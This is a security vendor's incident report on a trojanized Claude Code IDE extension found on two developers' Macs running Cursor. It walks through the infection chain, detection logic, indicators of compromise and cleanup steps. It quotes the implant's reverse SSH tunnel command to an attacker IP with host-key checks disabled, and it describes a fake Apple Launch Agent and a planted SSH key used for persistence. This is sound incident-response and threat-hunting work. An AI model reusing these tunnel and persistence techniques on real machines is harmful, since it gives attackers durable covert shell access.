In the wild: Trojanized Claude Code extension opening SSH tunnels on developer Macs

.avif)
.avif)
On October 30, OpenSourceMalware published an analysis of a trojanized build of the Claude Code IDE extension (anthropic.claude-code v2.1.313) that prepends a 66-line loader to the extension bundle, plants an SSH key, opens a reverse tunnel to an attacker server, and installs persistence disguised as an Apple service (original research).
The researchers were careful to note that their findings covered a single analyzed artifact, and that whether it had reached real users was not established.
We can close part of that gap. About 14 hours before the write-up went live, Daylight's agentic investigation platform (Aura) had already detected this exact implant executing on developer Macs in a customer environment, investigated it, and escalated it. Each investigation reached a conclusion within minutes of the alert arriving. This post walks through what we saw, how we pieced the investigation together, and the IOCs from our cases that add to the public record.
What happened
Two engineers at the same organization, on two different MacBooks, were running Cursor. Within 35 minutes of each other on October 29, the Cursor extension host process on each machine started performing actions no IDE should ever perform. This triggered EDR alerts on both endpoints, and Aura started its investigation.

The gap between the first malicious activity on each host and its case is the time it took for CrowdStrike to raise its detection and deliver it to Daylight. Aura's clock starts when the alert arrives, and from there each investigation kicked off and completed within minutes.
On Host A, the investigation found the extension reading files from anthropic.claude-code-2.1.313, the exact version named in the OpenSourceMalware analysis. On Host B the specific extension responsible was not recoverable from the telemetry, but every artifact matched one-for-one: same C2 address, same tunnel user, same Launch Agent name, same hidden file names in ~/.config.
Two hosts, one organization, inside an hour: that pattern is consistent with an extension update rolling out to developers, rather than a single targeted intrusion.
Why Cursor matters here
The OpenSourceMalware analysis pulled its sample from Open VSX, the open extension registry. Cursor, like several other VS Code forks, installs extensions from Open VSX rather than Microsoft's Visual Studio Marketplace. Both of the infected hosts were running Cursor, not VS Code.
The chain, as our telemetry saw it
Everything below ran as the logged-in user, as children of Cursor Helper (Plugin), the Cursor extension host. No user interaction with Claude was needed. The implant fires when the extension activates.
1. Persistence disguised as Apple. A Launch Agent named com.apple.sysmond.plist appeared in the user's ~/Library/LaunchAgents. There is no Apple component by that name, and Apple components do not live in a user-writable LaunchAgents folder. The process tree repeatedly ran launchctl unload and launchctl load -w against it.
2. A backdoor login path. An Ed25519 key was appended to ~/.ssh/authorized_keys (CrowdStrike AsepWriteAndModifiedAuthorizedKeys). The child processes also ran systemsetup -getremotelogin to check whether macOS Remote Login was on. We saw no evidence of it being successfully enabled.
3. Keys and scripts in hidden paths. CrowdStrike PemFileWritten events recorded private keys written to ~/.config/.smtk and to a temp file matching $TMPDIR/.stk_<10 hex chars>. A hidden script, ~/.config/.smt, was written and executed.
4. A reverse tunnel out. A loop ran autossh (falling back to ssh) with:
-N -R *:0:localhost:22 tunnel@134.209.82[.]225
-o StrictHostKeyChecking=no (host key checks disabled)
-i <hidden key file>
retry every 60 seconds
-R *:0:localhost:22 asks the attacker's server to open a port that forwards straight back into the victim's SSH daemon. Combined with the planted authorized key, this gives the operator an inbound shell on a laptop sitting behind the corporate NAT.
5. Beacon. Host A connected to 134.209.82[.]225 on both port 22 (tunnel) and port 8099 (the HTTP beacon described in the public analysis), right after the public IP lookup.
How the investigation got there
In the infection chain we’ve observed, there is no use of malicious binaries. The Cursor binaries on both hosts were signed, clean, and present on 49 other devices in the fleet. Hash reputation and "is this a known bad process" checks pass. A reviewer looking only at the alert sees a legitimate, fleet-wide developer tool raising a persistence detection, in a category where nearly every alert is a software updater or MDM agent doing its job.
Aura worked the cases the way a senior analyst would, by asking what the process actually did rather than what it was:
- Lineage over identity. It tied the Launch Agent, the authorized_keys change, the PEM writes, and the SSH tunnel to the same
Cursor Helper (Plugin)parent, and linked the.smtkfile write directly to the identity file used by the tunnel. - Destination context. It separated expected IDE traffic (GitHub,
api.anthropic.com) from134.209.82[.]225: no DNS name, VPS-style hosting, non-standard port 8099, not on the customer's trusted infrastructure list. - Ruling out the benign explanations. It checked whether the behavior matched an MDM-deployed or IT-approved tool. The device was MDM-managed and had a sanctioned Claude Code install script, but nothing in that tooling writes an Apple-named Launch Agent or opens a reverse tunnel. Identity checks showed the users' logins were normal and from expected locations, which ruled out account takeover but said nothing in favor of the tunnel.
- Honest about gaps. The plist contents were not captured and the responsible extension on Host B was not identified. The verdict said so explicitly, and escalated on what was proven: a persistent, disguised, unapproved reverse shell.
Our analysts reviewed both cases, confirmed the malicious verdict, and handed the customer a clear containment path the same evening. The public analysis that explained the full loader arrived the next morning.
What Daylight detects
Daylight covers the two stages of this implant that give an attacker durable access, across both CrowdStrike and SentinelOne endpoint telemetry.
Reverse SSH tunneling. We flag any ssh or autossh process that opens a reverse port forward exposing the endpoint's SSH server (-R <port>:<host>:22, or a RemoteForward to port 22), and any reverse forward made with host-key checking switched off (StrictHostKeyChecking=no, UserKnownHostsFile=/dev/null). The match is built around the forward spec itself, so -NR, -fNR, quoted specs and ssh_config style options all match, while unrelated -R flags inside a remote command (ls -R, chown -R) do not. Because implants like this one reconnect every 60 seconds, alerts are grouped into one case per host and user per day, so a single infection produces a single investigation, not a flood.
Launch Agent and Launch Daemon persistence. We flag new or modified plists in user and local LaunchAgents and LaunchDaemons folders on macOS, excluding system and app-bundle paths. Fleet noise from MDM and updater plists (Jamf, Kandji, Microsoft AutoUpdate and similar) is tuned out per customer, so what remains is worth investigating.
Apple-named Launch Agents in a user's folder. On top of the general persistence coverage, a dedicated high-severity detection fires on any com.apple.*.plist written to a user's ~/Library/LaunchAgents. Apple ships its own agents under the SIP-protected /System/Library, so an Apple name in a folder that needs no admin rights to write is masquerading (MITRE T1036.005). com.apple.sysmond.plist is exactly this pattern. Before shipping it, we checked 14 days of file activity across every CrowdStrike and SentinelOne endpoint we monitor and found zero legitimate writes matching it, so when it fires, it is worth a look.
Each of these alerts goes straight to Aura, which runs the same lineage, destination and benign-explanation checks described above. A Launch Agent written by an IDE helper, followed by a reverse tunnel to an unknown VPS from the same process tree, is not something Aura closes as noise.
What to do now
If your developers run Claude Code in VS Code, Cursor, Windsurf, or another fork:
- Check the installed version. Look for
anthropic.claude-code-2.1.313under~/.vscode/extensions,~/.cursor/extensions, and equivalents. - Sweep for persistence.
~/Library/LaunchAgents/com.apple.sysmond.plist,~/.config/.smt,~/.config/.smtk,$TMPDIR/.stk_*, and anyauthorized_keysentry with the commentsvc-telemetry. On Linux, check crontab for@rebootentries pointing at~/.config/.smt. On Windows, a scheduled task namedSysMonorsysmon.cmdin Startup. - Hunt the process pattern. Any
sshorautosshwhose command line contains-R *:0:localhost:22, especially with an IDE helper in its ancestry. - Block and contain. Block
134.209.82[.]225on all ports. Treat an affected host as compromised: isolate it, preserve evidence, rotate credentials reachable from that user (cloud keys, git tokens, SSH keys), and rebuild rather than clean.
The takeaway
The most dangerous code on a developer laptop increasingly runs inside trusted, signed tools: IDEs, extensions, AI coding agents. Those binaries will always look clean, and alerts from them will always look like noise. The only way to catch this class of attack is to investigate behavior and lineage on every alert, fast, without the fatigue that comes from triaging hundreds of benign Launch Agent alerts a day from MDM tools and software updaters.
That's what Aura did here, on both hosts, within minutes of each alert and before the malware campaign had been disclosed.
Thanks to the OpenSourceMalware team for the detailed analysis of the loader.
Interested in building AI-native security engineering? We're hiring at Daylight Security. Reach out if this resonates with how you want to build software.






